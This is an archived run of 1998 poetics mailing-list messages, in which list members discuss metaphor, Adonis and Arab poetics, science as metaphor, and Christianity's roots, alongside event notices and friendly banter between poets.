Dear Nada, very thoughtful, thought provoking, and engaging reply. There seem to be some misunderstandings on the mechanical/instrumental level. I sent my post to the list and invoked your earlier post as well as some others as I wove my thoughts--that is why I tangled your first meaning of enlightenment with my reservations concerning rationalism.

I know I sent my post to the list because I received a copy of it when I next downloaded from the list. I suggest that you post the message that you sent me to the list now.

I understand what you mean by 'epoche' and wish very much that I knew the source, but I don't. I also think that I understand what is generally meant by "direct apprehension." Usually --it means direct apprehension of the abstract--that cosmic rose or whatever. I see real roses very well. I do not always see patterned cosmic forces. When I see a brick in the road that speaks to me it is through color and texture--not with a voice, not as a "a jar on a hill in Tennessee." It might be a genetic quirk in my mental composition, but I tend to insist on the material as though it already had a surplus of abstract/spiritual meaning. I like Deleuze and Guattari, because there is a matter not only of slipping, but also the pace and acceleration in the rate of flow. I am opposing Pound (what I take to be the modern stance that "time is the enemy") and situating perception in time. Deja vue is stunning because it is a palpable fold in time.

"Don, I perceived in your message a whiff of sophistry and in re-reading

mine a blast of loose diction."

My earlier post was very sophistical wasn't it? You are right I confused the motive to explain with the motive to taunt. I did not mean to personalize my response in the least bit though. I did pick at your loose diction precisely because of the doors that it opened in my mind and was pretty loose in turn with my own diction.

Where did you find the mechanistic notion of the relation between words and things? I hope I don't think that way -- it sounds so rigid, not to mention unfashionable.

My reference is to Bishop Pratt? to those philosophers in Gulliver's Travels who carry packs of things with which to discourse--the thread here is part of my challenge to the Enlightenment Era rationalism. By contrast I took your

"anything" to be an essentially empty marker (that's Roland Barth's I think) and just rushed in ... I should have thanked you?

the first time you drank wine, you probably had to go through the (maybe instantaneous) process of connecting drinkable liquids (water, grape juice--similes) to the wine that was before you to ensure it was not in fact gasoline or some other non-drinkable liquid. In time you learned to create distinctions about wines, Gallo being in big jugs and working class, etc.; you learned that wine was a soPHISticated EuropEan thing to drink;

that white is for seafood

I am not one to contest the notion that even breathing is learned behavior--but I do contest the notion that my pleasure in wine is semantically coded. Although everything you imply here is probably true in some sense; it is not true of "my pleasure" and if I become aware of any of this knowledge (maybe by choosing an Entre deux mers for mussels), it, it probably detracts from "my pleasure"--even the now self-conscious knowledge that I have made a sophisticated choice of a dry white to go with or cook the the mussels in--puts something like reception at risk, not the pleasure of the wine itself--something, a pleasure, I think I can relate to directly, even though my ego has now gotten in the way ...

I'm not sure what you meant about mental acrobatics

what I meant was that I directly apprehended your desire to cut the bullshit--even as I larded my own discourse with sophistical acrobatics. I suppose I had hoped that some one would get a direct sense that I was clowning--or did I desire to see my self caught in the web of my own rope tricks and threads. Maybe there is no third term for me for the way my mind works. I take directly, give back indirectly, suppressing the common denominator. I am much more fascinated by ego issues than is probably fashionable on this list. For me "feelings" are matters of reception and of empathy and of insights when there is a matching of desires. By "ego issues" I do not mean "egotism"--I generally see no point in subtracting myself from where I am standing--that gets back to the directness/indirectness thread. I am arguing for a direct apprehension of where I am standing (or of how I pass through my local environment) without elevating myself to some self above the self and thereby directly perceiving the otherwise only indirectly perceptible other. This is a negation of the Jungian notion of self/other ...individuation. probably an acrobatics of the soul that I called "mental" above?

Irony has a bunch of meanings. One is pretended naivete (Socratic irony) that intends to lure something out of an interlocutor. Another is a statement that actually means the opposite or something quite different from what it literally states.

Which irony did you load my statement with?

Unfortunately I loaded your statement with Socratic irony. I received a "D" in Brit lit ages ago for my failure to appreciate "irony."

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This sounds a little like living on the San Andreas fault (another analogy, sorry, I'm getting lost in all these models -- my plateaus are slippery --oo)

If you live there, you live there? That is why I put my emphasis here--if not in my first post-- on the palpable rate of flow. If the ground isn't sliding out from under your feet why worry? Be happy! It it is scurry. Possibly not a very pragmatic response on my part, but I have these sense that our cultural constructs conspire to adapt us to living with fear, uncertainty, distraction ... My point: there is both a mindscape and a physical terrain to adapt to. The easy answer is to adapt to the physical environment. We need to talk with one another about the anxiety that makes it difficult to do this (however produced, however maintained, and used to keep us happy consumers). Are we hurtling down an abyss or shrugging our shoulders? Why are we standing still? I am from the east and I am imagining that you and I are talking about the pros and cons of living on the San Andreas fault. I have not experienced the trauma of an earthquake so I depend on you for that information if you have it.

> *His enlightenment becomes my fake simile? ... I am getting flakey now,*

>having reached the limits of my ability to maintain a faced of coherence.

Did you intend face or facet? Facet goes with your earlier metaphor but

it's faces that are maintained, or "saved".

I have puzzled myself over how to code this typos. I meant "face"--but when I re read it, I wished I had developed a "face off" analogy--as in hockey, my team against those with COHERENCE blazoned on their jerseys, sounds like bad Disney movie, now. In 1982, I edited an anthology of post-modern poetry and poetics called "Coherence."

I wanted to conclude my first post by saying that even "indirection is a form of direct thought" and I think you understood that. I was thinking of William James who said that even a thunderclap does not interrupt the the stream of thought"--it may change its direction though. I get lost in my own channels so easily.

... concluding then on an appreciative and unresolved note.

Don Wellman

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<P>Don Wellman

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↑ Index

657. **morpheal**
Re: render into scissors
Thu 19 Mar 1998

> *60 messiahs? someone said.*

Mass production. (Pardon the pun.)

> *Remember, the idea of "messiah" had *nothing* (zero, zilch) to do with a divine being (and only metaphorically to do with the saving of souls) before the romanifying of Judaic ideas into Xtianity.*

Exactly.

> *T'were the Romans who had human gods, gods with sons (and daughters), humans impregnated by divine beings, etc (well... there is a reference to gods lying with women in Genesis, I believe, to create the race of "Giants"). And foisted on my mojo such notions as virgin birth.*

Fact is that all kings were divine, as in divine kingship. People tended to understand things much more literally than they do now. (Odd word, literally, to use in that context as there was no question of literal as hardly anyone could read and write until very recently.) Divine kingship really was the divinity of the king. The king was 'od. Very odd, compared to the people. He even dressed very 'od. He talked 'od. He behaved 'odly.

On a more serious note Frazer's _Golden Bough_ is sufficient as an introduction to that subject, and offers a paradigm applicable to most, if not all, ancient and not so ancient cultures. He covers the fusion of traditions quite nicely, within European culture, and many of their various manifestations.

So when a king impregnated a non noble woman, obviously she had become pregnant by means of immaculate conception. That was nothing unusual in the ancient world. (Now we are taking it too in a too literal manner and fail to see this.) If she had become pregnant by means of someone of lower rank, her husband would have had reason for complaint and terrible consequences would

have befallen her. She would have become outcast at best, being sent away, or stoned to death at worst. Since it was the lord, it is acceptable. We might easily imagine some telling fibs about the lord paying them a visit. However, since kings could have anything they chose to have, complaints were uncommon and the women were forgiven by their husbands as they had no say in the matter themselves and neither did their husbands. Neither could refuse to do the lord's bidding. Their command was from the lord, and if anything issued from the liaison then it was the work of the lord, and not of any man, making it quite acceptable. Seems 'od but it was an epidemic situation, if a woman was at all attractive enough to be noticed by the lord.

Such events were euphemistically, poetically in fact, referred to, and no woman would ever dare say "the king came today and banged me up". That would have been completely unheard of. Instead she was blessed and immaculate, unstained in the eyes of her husband, and not in any way lacking in fidelity. The latter was essential so that women whom those of high rank found attractive and therefore took when the urge came to them, as a matter of their own undisputed privilege, would not be spurned subsequently and so that no social dissent and outcry against those privileged would be likely to happen. Kings, princes, and sometimes other members of the nobility such as dukes and barons commonly had such privileges. Even foreign lords, as some allusions in the grimoires to such demons readily attest. (Ah, you didn't know that either did you ? The grimoires on one level are mostly veiled references, even catalogues, of foreign political powers and their political relations. Some foreign lords were known for their prowess at immaculate conceptions. After all, no man was there, only a demon prince and there was issue from the womb nine months later. What could a husband do ? Visiting nobles also had certain privileges shared with the local lord.)

What is interesting is that such a common occurrence, has come down to us within a particular story, from ancient times, and been preserved as what is often included within poetic literature.

So who was the lord ? Herod is perhaps most likely. So we have a poem about the lord having a woman named Mary, and the lord having second thoughts about it later, as sometimes happened, because another potential heir might upset some succession plans, or create dangerous rivalries upsetting the established order. Any child who was a son of the lord, an immaculate conception, could gather a following simply by that fact, sharing in the divine kingship, and that could prove highly dangerous.

Unless we claim parthanogenesis. Not so likely.

> *Some of you may have noticed that "first will be last" didn't actually happen. Yet, the world religion built on that Jewish idea (oppressed/exiled*

> *idea -- it's not essentialistically Jewish as is obvious I hope) rules on.*
> *We live in Rome.*

We live in the direct succession to Alexandria and Rome.

The ancient Egyption contribution, via ancient Greek culture, and Greek culture to Roman, cannot be underemphasized.

As for the first coming last, it is something to win over the people. A poetic phrase promising a future where the king will follow and the people lead. Of course it has become politically true in terms of democracy, at least in principle, if not always in fact.

Of course, a god was the first thing or being, according to most creation myths, and therefore the god will be last ? Perhaps saying only that whatever everything came from it will return to. The uncarved block of Taoism is the first and the last, from which all ventures forth and all ultimately returns in an undending cyclical haiku of a breath in and a breath out.

Of course "spiritual" (philosophical or religious) systems and how they are understood are integral to poetics. It is impossible to do poetics without wrestling with some such questions....in any tradition or across cultural lines.

Morpheal

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658. Pierre Joris
Re: Adonis
Thu 19 Mar 1998

Aldon -- me too I hope you're wrong -- Adonis, to me, was not only a fine poet & critic, but also something of a friend -- I haven't heard anything about an untimely departure -- tried to check a few websites & newspapers, but no info -- can you try to remember where you may have seen this notice? or check your info? that wld be much appreciated -- Pierre

Aldon Nielsen wrote:

> *I hope I'm wrong, but I think I rmember having recently read a notice of the death of this fine poet & critic --*
>
> *anybody know for sure?*

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]

http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
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↑ Index

659. **Pierre Joris**
Re: Adonis
Thu 19 Mar 1998

William Burmeister Prod wrote:

> *On Mar 19, 12:48pm, Pierre Joris sent:*
> *Subject: Adonis*
> *To quickly pick up two threads, one old -- the metaphor discussion --, one new --*
> *Tom's query re Adonis --, here the last chapter, of a longish Adonis essay on Arab*
> *poetics & involving metaphor. The modern poets he speaks of are those of the Abassid period, i.e. Abu Tamman, Ibn al-Mu'tazz, Abu Nuwas & Co., inventing urban*
> *modern poetics some 800 to 1000 years before Baudelaire & co. were on the euro-scene. This is an insta-translation, as I type, so, please excuse mistapes...*
> *Pierre*
>
> *Can we see some examples to back this incredible claim?*

Not such an incredible claim. Unhappily, though you may rather easily find some "examples" of Abu Nuwas' poetry it will be mainly lousy translations -- better to dig in deeper into Adonis' & other such writings (at least until we have or can make worthwhile translations of those poems) as it is an understanding of the cultural history of Arab poetics & history that make the point clearer. The claim sounds "incredible" only if you think that modernity is somehow the exclusive domain of euro-culture, i.e. something that happened first and only in 19C Europe & then in Americ and that could not have happened somewhere else in a totally different cultural situation a 1000 years ago.

> *Pierre, I can't help*
> *but think that what you have posted below maybe means something to you (a*

> *kinship with) your manisfesto on a nomadic poetics. Is there any such meaning for ya?*

Of course -- that is to say, my interest in Arab poetics connects in some ways with my Nomad Manifesto — though there my focus is more on pre-islamic poetics, i.e. those of the Arab nomad tribes, rather than on what Adonis is talking about in this piece, which is an Arab urban modernism that flowered in the Abassid period, and which he, I believe rightly, compares to a similar revolution in poetcis happening in europena modernism in the 19C. So it is also true that much of the Abassid poetics involved Sufi notions & practices, and that is indeed of interest for my nomadic thinking.

> *ADONIS -- ChapterXIV of "THE FIXED AND THE MOBILE; TRADIITON AND INNOVATION*
> *IN*
> *ARAB CULTURE*
> *.*
> *.*
> *.*
> *As metaphor is the artistic form of thought, traditonalism rejected it just*
> *>as it had rejected the doctrine of interpretation. For the traditionalist*
> *>current, everything that's written in the Koran is literally true; God's language >cannot be metaphorical. What is called "metaphor" in the language of the Koran >thus represents a reality whose essence we are ignorant of. If poetry wants to >be religious, it has to abandon metaphor. Indeed, in the traditionalists' mind >metaphor is akin to a kind of "magic," consisting in substituting the false for*
> *the true. But the poets, without worrying about it, keep on using metaphor, and poetry*
>
> *Now make that perhaps the rejection of metaphor by traditionalism's successor science & technology. Is metaphor the artistic form of thought (merely)? Does metaphor have a place in a world at large ruled by science (include pseudo science) and technology?*

I would tend to agree with you -- science is full of metaphor -- but isn't it exactly when that fact goes unrecognized, i.e. when science & its worldview constructs get taken as _literal_ and not metaphoric, that we get a kind of scientistic fundamentalist not that different from the kind of religious fundamentalism Adonis is referring to?

Pierre

--
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pierre joris 6 madison place albany ny 12202

tel: [redacted] fax: [redacted]
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“All my life I’ve heard
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↑ Index

660. **Daniel Zimmerman**
Re: adorno's ashes
Thu 19 Mar 1998

---

morpheal wrote:
>
> > Adonis presents a rich and readable explanation of Arab poetics from
> >orality to modernity, e.g., "Language... is not a tool for communicating
> >a detached meaning. It is meaning itself because it is thought.
>
> The element of orality is still most prevalent. The tradition was oral
> recitation, and remains a tradition of oral recitation. The ability to
> remember, precisely, is highly prized and rewarded within the culture.
> That has not changed even a little since ancient times, but has in fact
> become more emphatic since the Koran was reputedly received by Mo-
hammed.
>
> So where is the orality to modernity ? It is in fact orality to orality.

morpheal wrote:
>
> >
DZ wrote: Adonis presents a rich and readable explanation of Arab
poetics from orality to modernity, e.g., "Language... is not a tool for
communicating a detached meaning. It is meaning itself because it is
thought.
>
morpheal wrote: The element of orality is still most prevalent.
The
tradition was oral recitation, and remains a tradition of oral

recitation. The ability to remember, precisely, is highly prized and rewarded within the culture. That has not changed even a little since ancient times, but has in fact become more emphatic since the Koran was reputedly received by Mohammed.
>
> So where is the orality to modernity ? It is in fact orality to orality.

DZ: True, though the original Koranic orality pretty quickly became written and inviolable (emphatic) after the prophet's death. Adonis does struggle with the paradox you mention in his final chapter--and not altogether successfully (i.e., not without some equivocation). He does, though, call for a freedom of thought which transcends mere stylistic experiment, and concludes that "The essence of this is that modernity should be a creative vision, or it will be no more than a fashion. Fashion grows old from the moment it is born, while creativity is age-less. Therefore not all modernity is creativity but creativity is eternally modern" (101-102). Here, he seems to historicize the (changing, linear?) principle of creativity as equivalent to the (unchanging, cyclic?) ideal of the umma at the time of the prophet. As he says earlier, "...the modern Arab poet lives in a state of 'double siege' imposed upon him by the culture of dependency on the one hand, and the culture based on a foetal relationship with the traditionalist past on the other" (81). What he proposes may serve as a way out of this impasse for him, but many may find that razor too sharp a path.

Dan Zimmerman

↑ Index

661. **Tom Vogler**
[1]POETICS Digest - 18 Mar
Fri 20 Mar 1998

---

[1]POETICS Digest - 18 Mar 1998 to 19 Mar 3/19/98

Please note that my new email address is
[redacted]
Your message has been forwarded

↑ Index

662. **J. Kuszai**
quartermain query
Fri 20 Mar 1998

---

please back-snorkel me the following bleep shell:

current street residence info
for Meredith & Peter Quartermain

↑ Index

663. George Bowering
Re: shameful bromige bromo
Fri 20 Mar 1998

---

re:
> http://www.chbooks.com/onlinebooks/piccolo/title.html

Bromige's contention that I had a hand in writing his vapid maunderings yclept a "novel" can only worsen relations between Vancouver and California in the endless battle for hegemony over Oregon. The novel in question (really, a bunch of bad jokes and pointless Cold War adventure) was largely written by Bromige, a notorious bibliomaniac and shaker of martinis.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

664. joanne molina
[Fwd: Ethics and Poetics Event at American University (fwd)]
Fri 20 Mar 1998

---

by carthage.american.edu (8.8.5/8.8.5) with ESMTP id NAA04703;
Mon, 16 Mar 1998 13:23:46 -0500 (EST)
by dresden.american.edu (8.8.5/8.8.5) id NAA77998;
Mon, 16 Mar 1998 13:22:49 -0500
by dresden.american.edu (8.8.5/8.8.5) with ESMTP id NAA59804;
Mon, 16 Mar 1998 13:22:47 -0500
by www.CIRC.gwu.EDU (8.8.8/8.8.7) with ESMTP id NAA27888;
Mon, 16 Mar 1998 13:16:14 -0500 (EST)
by gwis2.circ.gwu.edu (8.8.8/8.8.8) with SMTP id NAA27300;
Mon, 16 Mar 1998 13:22:05 -0500 (EST)
Date: Mon, 16 Mar 1998 13:22:04 -0500 (EST)
From: Mark Wallace <[redacted]>
To: Undisclosed recipients: ;
Subject: Ethics and Poetics Event at American University (fwd)

For those of you who like critical work intermixed with poetry, the following one day free conference at American University should provide an excellent

combination of poetry and contemporary critical perspectives. Don't pass up this remarkable one day gathering of many of the best poetic and critical minds in the D.C. area. This event will certainly be one of the most informative of the year. Here's the info

1998 Ethics and Poetics Conference at American University
Sponsored by the Philosophy Department at American University

THIS EVENT IS FREE AND OPEN TO THE PUBLIC!!

Please join us for a day of poetics and philosophy
Saturday, March 28th from 11am-4:40pm
American University
Gray Hall
Bentley Lounge

FOR MORE INFORMATION AND TO RSVP PLEASE CONTACT JOANNE MOLINA AT [redacted] or call [redacted]

The program is as follows:

11:00am-1:30pm

Opening Remarks: David Rodier

Patricia Huntington: "Semiotics and the Ethics of Asymmetrical Reciprocity: Young, Benhabib, and Kristeva."

Alan Levine: "Fiction as Political Theory: Chinua Achebe's Multicultural Take on Multiculturalism."

Marianne Noble: "Emily Dickinson and Kristeva"

Tom Mandel: "Ancestral Cave"

Heather Fuller: "Perhaps this is a Rescue Fantasy"

LUNCH SERVED

SESSION II 2-4:30

Jonathan Loesberg: "Kant's Indifference and Foucault's Aesthetics: An Historicist Sublime."

Peter Baker: "Writing the Gift"

Joan Retallack: "The Scarlet Aitch-- Some Notes on PoetHics."

Rod Smith: "The Boy Poems"

Beth Joselow: "Begin at Once"

This event includes poets/philosophers/theorists who are excited about the possibility of engaging in an interdisciplinary conversation. Please join us!!

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665. Wolsak
Re: quartermain query
Fri 20 Mar 1998

J. Kuszai wrote:
>
> please back-snorkel me the following bleep shell:
>
> current street residence info
> for Meredith & Peter Quartermain

Joel,

846 Keefer Street
Vancouver, B.C.

phone [redacted]

Melissa Wolsak

↑ Index

666. Gwyn McVay
science & metaphor
Fri 20 Mar 1998

>>>Now make that perhaps the rejection of metaphor by traditionalism's successor science & technology. Is metaphor the artistic form of thought (merely)? Does metaphor have a place in a world at large ruled by science (include pseudoscience) and technology?

O goodness. I mean--take quarks--whose name famously comes from Finnegans Wake ("Three quarks for Mister Mark"), and whose different varieties are called up, down, top, bottom, charm, and strange, and which are said to have the qualities "color" and "flavor." (And now "Quark" is both a highly excellent page layout program and a character on Deep Space Nine.) Or the whole branching-tree metaphor in cladistic evolution. It semeth me metaphor is all over science.

Gwyn

↑ Index

667. **Jordan Davis**
greater than / less than / equal to
Fri 20 Mar 1998

I noticed that Tom Mandel suggested that language was something something interesting than ideas. Tom, as you can see my radio had some static in it. Could you repeat your language, or if you prefer, your ideas?

Signed,
Another old world

↑ Index

668. **Henry Gould**
Re: science & metaphor
Fri 20 Mar 1998

On Fri, 20 Mar 1998 09:25:55 -0500 Gwyn McVay said:
>
>O goodness. I mean--take quarks--whose name famously comes from Finnegans
>Wake ("Three quarks for Mister Mark"), and whose different varieties are
>called up, down, top, bottom, charm, and strange, and which are said to
>have the qualities "color" and "flavor." (And now "Quark" is both a highly
>excellent page layout program and a character on Deep Space Nine.) Or the
>whole branching-tree metaphor in cladistic evolution. It semeth me
>metaphor is all over science.

Maybe this idea of a divide between "artistic metaphorical thinking" and scientific (or direct, or realistic, or factual) non- or anti-metaphorical thinking -

maybe this IDEA of art vs. science - is really a METAPHOR -

for a deeper divide (in our minds & in our culture) between forces and impulses TOWARD art and AWAY from art. A kind of replay of the Byzantine battle between iconophiliacs and iconoclasts. Played out very directly in the federal defunding of arts since the 80s. That art is a charismatic-absorptive-mirroring-illusory-gratifying phenomenon which evokes mixed feelings always - a dangerous, mongrel, illegitimate thing - a useless thing -

so that poets who want to play this out in terms of metaphor's illusory idealistic traditionalist aestheticism, in favor of factuality's direct, honest, hardhitting political treatment of the thing, should maybe be aware of the double-edged nature of all this - "factism" becomes politically-correct "fascism" just as quickly as solipsissy aesthoidism does...

every word is full of the freeplaying sounds of about a dozen other words... try to put that on yo grid an freeze-fry it...

- Henry Gould

↑ Index

669. **Mairead Byrne**
Re: understanding/pomometametonymicalisexuality
Fri 20 Mar 1998

I'm still curious about the notion that some subjects generate metaphor and others supply it. Also about the possibility of the trucks of metaphor moving meaning between sites. Someone told me yesterday that Americans move on average about 17 times per lifetime. I could be in haiku-daze. Do metaphors generate movement in much the same way that Ryder trucks connect the differences between Lafayette, Indiana, say, and Lubbock, Texas. So it all comes down to the current state of the road.

↑ Index

670. **Henry Gould**
Re: biblical...?
Fri 20 Mar 1998

On Fri, 20 Mar 1998 09:55:01 -0600 Tom Mandel said:
>
>Yet, I can't get myself to let this go by:
>
>"I meant that Xtianity is a Biblical religion and the core of it, the
>spiritual core of it, is Hebraic. - Henry G."
>
>To which my answer is simple: bullshit. The spiritual core of Christianity
>is Roman pagan religion. You think the trinity-mystery is a "Hebraic" idea?
>No thanks. Btw, the term "Hebraic" is a hegemonic insult however
>unconsciously placed.

Now this is getting fun. I'm not going to take recourse to "history", which on the list here would get boring & overlong. I'd rather respond with my own "illegitimate" story. I was brought up in the Episcopalian church. Singing the hymns, the whole bit. Lost interest in my teens. Regained interest in late teens, when I read the "2 testaments" through, front to back. You can toss the "bullshit" if you want to, Tom, but you wrong. As the elevator man said, "The Bible is my main book" - & that goes for the whole religion.
>

>Just as Rome used Greek ideas and any other ideas (immensely successfully!)
>as a means to ideological/cultural domination, so it turned to Jewish ideas
>and treated them similarly. In Xtianity, Judaism and scripture are
>swallowed. That's not being "core."

If you want to make accusations of "borrowing" you could start with
the Hebrews - they took it all from Egypt & Mesopotamia & made a very new
blend.
>
>The very idea of "a Biblical religion" illustrates the point. That there is
>a single "Bible" consisting of the Gospel (truth) and the "Old Testament"
>is a "fact" only within a dominant, imperial, "religious" empire (the term
>"religion" is a Roman term folks -- Jews do not have "a religion").
>
Yes, Christianity took the Hebrew Scriptures & twisted them into a shape
full of menace, eventually, for the Jews themselves. This is the sick
tragedy of it all and the reality that demands awareness, criticism,
and change on the part of churches. But the same scriptures are
the source of what is good about Christianity, too - the word, the
demand for charity and justice, the message.
Hope, joy, love. It a big mess o'pottage, bro - Henry Gould

↑ Index

671. **Pierre Joris**
Re: science & metaphor
Fri 20 Mar 1998

Gwyn McVay wrote:

> *Now make that perhaps the rejection of metaphor by traditionalism's successor science & technology. Is metaphor the artistic form of thought (merely)? Does metaphor have a place in a world at large ruled by science (include pseudoscience) and technology?*
>
> *O goodness. I mean--take quarks--whose name famously comes from Finnegans Wake ("Three quarks for Mister Mark"), and whose different varieties are called up, down, top, bottom, charm, and strange, and which are said to have the qualities "color" and "flavor." (And now "Quark" is both a highly excellent page layout program and a character on Deep Space Nine.)*

Before which it had been the name of en excellent experimental science fiction magazine edited by Chip Delaney & Marylin Hacker. In German of course quark has always been soft cheese.

> *Or the*
> *whole branching-tree metaphor in cladistic evolution. It semeth me*

> *metaphor is all over science.*
>
> *Gwyn*

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

↑ Index

672. **Tom Mandel**
biblical...?
Fri 20 Mar 1998

I *don't* want to discuss this here, it is an imposition on a list for whom this will *not* be interesting, and anyway it's too divisive and positions are too set for a listserv to be a platform for making any progress on this kind of a subject.

Yet, I can't get myself to let this go by:

"I meant that Xtianity is a Biblical religion and the core of it, the spiritual core of it, is Hebraic. - Henry G."

To which my answer is simple: bullshit. The spiritual core of Christianity is Roman pagan religion. You think the trinity-mystery is a "Hebraic" idea? No thanks. Btw, the term "Hebraic" is a hegemonic insult however unconsciously placed.

Just as Rome used Greek ideas and any other ideas (immensely successfully!) as a means to ideological/cultural domination, so it turned to Jewish ideas and treated them similarly. In Xtianity, Judaism and scripture are swallowed. That's not being "core."

The very idea of "a Biblical religion" illustrates the point. That there is a single "Bible" consisting of the Gospel (truth) and the "Old Testament" is a "fact" only

within a dominant, imperial, "religious" empire (the term "religion" is a Roman term folks -- Jews do not have "a religion").

I will speak no more on this subject on this list. Feel free to backchannel if absolutely necessary.

Tom

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

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673. **Tom Mandel**
thanks Dan, Pierre, et. al.
Fri 20 Mar 1998

Thanks Dan and Pierre for comments and more that leave me eagerly looking forward to Adonis's book.

Dan's citation: "Language... is not a tool for communicating a detached meaning. It is meaning itself because it is thought. Indeed, it precedes thought and is succeeded by knowledge. This implies that the criterion of meaning was contained in language itself, and was defined by the rules of language" (82) is invaluable, and I suspect Pierre's insta-translation will be too. I've clipped it to read this weekend.

Thanks!

Tom

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

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674. **Don Wellman**
Re: understanding/pomometametonymicalisexuality
Fri 20 Mar 1998

Metaphors generate roads (that's my view). For I.A. Richards metaphors are "vehicles"--that is Ryder Trucks. The contents of the truck is its tenor or meaning.

If the vehicle stands in for the tenor it is really a synecdoche isn't it? (container for thing contained).

In Richard's way of putting it, meaning is relatively stable. One of the things we have been trying to do on this list is destabilize all three elemenrs and put them in motion: the truck, the contents of the truck, and the road.

Metaphors deflect or impart motion (desiring in put)--but there is no guarantee that the roads or threads generated by a metaphor will connect Lafeyette with Lubbock. They might set up such a swaying in the truck that it tips over outside of Tulsa; the desires that the truck was carrying heating the ozone layer as they escape, and the sheell of the truck being appropriate for use as a taco stand.

Don Wellman

Mairead Byrne wrote:

> *I'm still curious about the notion that some subjects generate metaphor and others supply it. Also about the possibility of the trucks of metaphor moving meaning between sites. Someone told me yesterday that Americans move on average about 17 times per lifetime. I could be in haiku-daze. Do metaphors generate movement in much the same way that Ryder trucks connect the differences between Lafayette, Indiana, say, and Lubbock, Texas. So it all comes down to the current state of the road.*

↑ Index

675. henry gould
borrowings
Fri 20 Mar 1998

Actually, I think the Romans borrowed from the Jews what the Jews borrowed from ME - long time ago in the pluperfect futurepast. Called a "closed timelike curve" in physics. Get out yo frisbees, O my people! It's SPRINGY!

They didn't call Ezekiel a whizionary fer nothin! Or as Louis Armstrong put it :

Ezekiel saw the wheels of glory,
the great big wheels a turnin over -
Ezekiel saw the wheels of glory -
way in the middle of the air.

- see the final footnote in Mudlark Poster #10 (http://www.unf.edu/mudlark) for a more complete hermhenautical explodapropoeperdition of these "realities".

HG Wells was very well-informed, ol HG.

- HG

↑ Index

676. **Douglas**
Re: Adonis
Fri 20 Mar 1998

Adonis wrote me a letter last week, so
I presume he's well and alive, Aldon.

Douglas Messerli

Aldon Nielsen wrote:
>
> I hope I'm wrong, but I think I rmember having recently read a notice of
> the death of this fine poet & critic --
>
> anybody know for sure?

↑ Index

677. **William Burmeister Prod**
Re: science & metaphor
Fri 20 Mar 1998

I'm glad Pierre and Henry understood what I meant rather than what I wrote (thank you). Instead of having a generous, outside perspective on the whole of science, 'specially wrt to its glorious heyday before hyperspecialization, when science worked itself nicely into (co-existed with) a pre-existing aesthetic of the imagination, the intent of my question was to probe for a way out from the inside of this unquestionable hegemony of technology, and the idea of science just "being there," intuited rather like history is now. This is really also an economic thing now ("don't take this personally, this is about business"). Pierre answered succinctly when he replied, "science is full of metaphor -- but isn't it exactly when that fact goes unrecognized, i.e. when science & its worldview constructs get taken as _literal_ and not metaphoric, that we get a kind of scientistic fundamentalist not that different from the kind of religious fundamentalism Adonis is referring to?" I agree with Henry too. This is not merely an issue: the notion of such a dichotomy is itself metaphor and the implications are there for hegemony in the extremes.

Gwyn's mention of "three quarks for Muster Mark" illustrates the liberal mindedness of scientists in the 60's and 70's to use such whimsical naming conventions (W/albeit western sources). Not to say that doesn't happen now, but there is an overall fear of being misunderstood, or cryptic in today's marketing science (Oedipal) mentality so perhaps that explains why they still use the SAME names. I think that the quark phrase comes from Lear or Carroll rather than Finnegan's Wake doesn't it?

William Burmeister

On Mar 20, 10:03am, Henry Gould wrote:
> Subject: Re: science & metaphor
> On Fri, 20 Mar 1998 09:25:55 -0500 Gwyn McVay said:
> >
> >O goodness. I mean--take quarks--whose name famously comes from Finnegans
> >Wake ("Three quarks for Mister Mark"), and whose different varieties are
> >called up, down, top, bottom, charm, and strange, and which are said to
> >have the qualities "color" and "flavor." (And now "Quark" is both a highly
> >excellent page layout program and a character on Deep Space Nine.) Or the
> >whole branching-tree metaphor in cladistic evolution. It semeth me
> >metaphor is all over science.
>
> Maybe this idea of a divide between "artistic metaphorical thinking" and
> scientific (or direct, or realistic, or factual) non- or anti-metaphorical
> thinking -
>
> maybe this IDEA of art vs. science - is really a METAPHOR -
>
> for a deeper divide (in our minds & in our culture) between forces and
> impulses TOWARD art and AWAY from art. A kind of replay of the Byzantine
> battle between iconophiliacs and iconoclasts. Played out very directly
> in the federal de-funding of arts since the 80s. That art is a
> charismatic-absorptive-mirroring-illusory-gratifying phenomenon which
> evokes mixed feelings always - a dangerous, mongrel, illegitimate thing -
> a useless thing -
>
> so that poets who want to play this out in terms of metaphor's illusory
> idealistic traditionalist aestheticism, in favor of factuality's
> direct, honest, hardhitting political treatment of the thing, should
> maybe be aware of the double-edged nature of all this - "factism"
> becomes politically-correct "fascism" just as quickly as solipsissy
> aesthoidism does...
>
> every word is full of the freeplaying sounds of about a dozen other
> words... try to put that on yo grid an freeze-fry it...
>
> - Henry Gould
>-- End of excerpt from Henry Gould

↑ Index

678. **Michael J. Kelleher**
Reading in Buffalo
Fri 20 Mar 1998

Sunday, March 22 at 2pm

just buffalo literary center presents:

Rosmarie Waldrop
&
Ben Friedlander

@
Hallwall's Contemporary Arts Center
2495 Main St.

Truly,
Mike

<HTML>
Sunday, March 22 at 2pm

<P><B><I>just buffalo</I></B> literary center presents:

<P>Rosmarie Waldrop

&

Ben Friedlander

<P>@

Hallwall's Contemporary Arts Center

2495 Main St.

<P>Truly,

Mike</HTML>

----------6BD4E92BAD02629AF7465A8C--

↑ Index

679. **david bromige**
GB : too far this time
Fri 20 Mar 1998

---

re : http://www.chbooks.com/onlinebooks/piccolo/title.html

George Borrowing has gone too far this time. I dont like taking up list space for a personal matter, but since he has gone public, I must respond here. For a lifetime, since we played the national sport, hookey, together as boys in Oliver, B.C., I have bailed him out of innumerable scrapes--and this is the recompense I get : "vapid maunderings," "bad jokes." All I did was tighten a linguistic screw

